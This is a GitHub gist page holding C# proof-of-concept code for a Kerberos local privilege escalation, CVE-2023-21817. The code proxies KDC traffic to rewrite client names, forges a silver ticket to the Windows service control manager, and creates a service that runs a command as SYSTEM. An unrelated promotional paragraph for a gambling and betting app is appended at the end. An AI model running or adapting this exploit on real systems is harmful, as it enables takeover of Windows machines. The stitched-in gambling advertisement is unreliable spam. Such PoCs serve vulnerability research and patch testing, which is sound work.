-
-
Save rvrsh3ll/5f3fe9064f76ce8ffcedbb0eeca83e28 to your computer and use it in GitHub Desktop.
Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using NtApiDotNet; | |
| using NtApiDotNet.Ndr.Marshal; | |
| using NtApiDotNet.Win32; | |
| using NtApiDotNet.Win32.Rpc.Transport; | |
| using NtApiDotNet.Win32.Security.Authentication; | |
| using NtApiDotNet.Win32.Security.Authentication.Kerberos; | |
| using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client; | |
| using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server; | |
| using NtApiDotNet.Win32.Security.Authentication.Logon; | |
| using System; | |
| using System.DirectoryServices.ActiveDirectory; | |
| using System.Net; | |
| using System.Threading; | |
| namespace UrbanDoor | |
| { | |
| public class ModifyCNameKerberosProxy : KerberosKDCProxy | |
| { | |
| private KerberosPrincipalName _clientName; | |
| private KerberosAuthenticationKey _userKey; | |
| private KerberosPrincipalName _originalClientName = null; | |
| private KerberosAuthenticationKey _tgtKey = null; | |
| public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname) | |
| : base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88)) | |
| { | |
| _clientName = clientName; | |
| _userKey = userKey; | |
| } | |
| protected override byte[] HandleRequest(byte[] outbound) | |
| { | |
| if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request)) | |
| { | |
| if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ) | |
| { | |
| Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]"); | |
| var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest; | |
| if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc)) | |
| { | |
| var authenticator = KerberosAuthenticator.Parse(enc.CipherText); | |
| var authenticatorBuilder = authenticator.ToBuilder(); | |
| authenticatorBuilder.ClientName = _originalClientName; | |
| var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq)); | |
| var builder = request.ToBuilder(); | |
| builder.PreAuthenticationData.Clear(); | |
| builder.AddPreAuthenticationData(newPreAuth); | |
| builder.AddPreAuthenticationData(request.PreAuthenticationData[1]); | |
| outbound = builder.Create().ToArray(); | |
| } | |
| else | |
| { | |
| Console.WriteLine("[!] Error decrypting with tgtKey"); | |
| } | |
| } | |
| } | |
| var inbound = base.HandleRequest(outbound); | |
| if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply)) | |
| { | |
| if (reply.MessageType == KerberosMessageType.KRB_AS_REP) | |
| { | |
| Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]"); | |
| _originalClientName = reply.ClientName; | |
| if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc)) | |
| { | |
| var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText); | |
| _tgtKey = encryptedPart.Key; | |
| var builder = reply.ToBuilder(); | |
| builder.ClientName = _clientName; | |
| return builder.Create().ToArray(); | |
| } | |
| else | |
| { | |
| Console.WriteLine("[!] Error decrypting with password"); | |
| } | |
| } | |
| } | |
| return inbound; | |
| } | |
| } | |
| class Program | |
| { | |
| static Luid SYSTEM_LUID = new Luid(0x3E7); | |
| static string OUT_PATH = "C:\\windows\\lpe.txt"; | |
| static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH; | |
| static void Main(string[] args) | |
| { | |
| try | |
| { | |
| if (args.Length != 1 && args.Length != 2) | |
| { | |
| throw new ArgumentException("Supply <current_password>"); | |
| } | |
| string password = args[0]; | |
| KerberosTicketCache.PurgeTicketCache(default, null, null); | |
| string realm = Domain.GetCurrentDomain().Name.ToUpper(); | |
| Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid; | |
| string username = user_sid.GetName().Name.ToLower(); | |
| string upn = $"{username}@{realm}"; | |
| ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy( | |
| new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"), | |
| KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0), | |
| Domain.GetCurrentDomain().FindDomainController().Name | |
| ); | |
| proxy.Start(); | |
| KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0); | |
| var creds = new KerberosInteractiveLogonCredentials( | |
| new UserCredentials(username, realm, password) | |
| ) | |
| { | |
| LogonId = SYSTEM_LUID | |
| }; | |
| try | |
| { | |
| using (var handle = LsaLogonHandle.Connect()) | |
| { | |
| handle.LsaLogonUser( | |
| SecurityLogonType.Interactive, | |
| AuthenticationPackage.KERBEROS_NAME, | |
| creds | |
| ); | |
| } | |
| } | |
| catch (Exception e) | |
| { | |
| Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n"); | |
| } | |
| proxy.Stop(); | |
| KerberosTicketCache.UnpinAllKdcs(); | |
| Client scm = new Client(); | |
| RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512)); | |
| security.AuthenticationLevel = RpcAuthenticationLevel.Connect; | |
| security.AuthenticationType = RpcAuthenticationType.Kerberos; | |
| security.ServicePrincipalName = $"HOST/{Environment.MachineName}"; | |
| scm.Connect("ncacn_np", @"\pipe\ntsvcs", security); | |
| int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm); | |
| if (error != 0) throw new SafeWin32Exception(error); | |
| Console.WriteLine($"[+] Opened SCM: {hscm}"); | |
| string serviceName = Guid.NewGuid().ToString(); | |
| int? tag_id = null; | |
| error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess, | |
| (int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice); | |
| if (error != 0) throw new SafeWin32Exception(error); | |
| Console.WriteLine($"[+] Service created: {serviceName}"); | |
| scm.RStartServiceW(hservice, 0, null); | |
| Thread.Sleep(250); | |
| Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}"); | |
| } | |
| catch (Exception ex) | |
| { | |
| Console.WriteLine("[!] Error:\n"); | |
| Console.WriteLine(ex); | |
| } | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
BBRS Game is an online gaming and betting platform that has gained traction for its diverse selection of casino-style entertainment and color-prediction challenges. Designed primarily for mobile users, the application features a variety of popular games including slots, card games, and "Wingo" style lottery draws where players wager on outcomes to earn rewards. The platform is known for its high-contrast visual design and an interface that simplifies the transition between different gaming rooms, making it accessible for casual players. Like many contemporary gaming apps, BBRS Game incorporates a multi-level referral system and daily login bonuses to maintain an active community, while offering integrated digital payment methods to facilitate quick deposits and withdrawals for its users.